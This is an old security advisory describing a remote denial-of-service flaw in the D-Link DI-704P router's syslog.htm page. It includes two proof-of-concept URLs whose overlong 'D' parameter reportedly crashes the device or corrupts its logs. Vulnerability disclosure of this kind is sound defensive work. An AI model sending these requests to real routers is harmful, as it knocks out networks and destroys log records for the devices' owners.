D-Link DI-704P Syslog.HTM Denial Of Service Vulnerability

Bugtraq ID:	7686
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 26 2003 12:00AM
Updated:	May 26 2003 12:00AM
Credit:	Discovery of this vulnerability has been credited to Chris R <[email protected]>.
Vulnerable:	D-Link DI-704P
Not Vulnerable:

D-Link DI-704P Syslog.HTM Denial Of Service Vulnerability

D-Link DI-704P has been reported prone to a remote denial of service vulnerability.

The issue presents itself in a D-Link web interface page. It has been reported that when excessive is data passed URI parameter in a request for the vulnerable page, the router firmware the device behaves in an unstable manner.

Subsequent malicious requests may result in a complete denial of service condition requiring a device reboot, or in corruption of device logs.

Although unconfirmed, it should be noted that other D-Link devices that use related firmware might also be affected.

D-Link DI-704P Syslog.HTM Denial Of Service Vulnerability

The following proof of concept has been supplied by Chris R <[email protected]>:

http://192.168.0.1/syslog.htm?
D=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

and

http://192.168.0.1/syslog.htm?
D=.........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
...........................................................................
....................

D-Link DI-704P Syslog.HTM Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

D-Link DI-704P Syslog.HTM Denial Of Service Vulnerability

References:

• Buffer Overflow? Local Malformed URL attack on D-Link 704p router (Chris R )
  
• D-Link DI-704P Device Homepage (D-Link)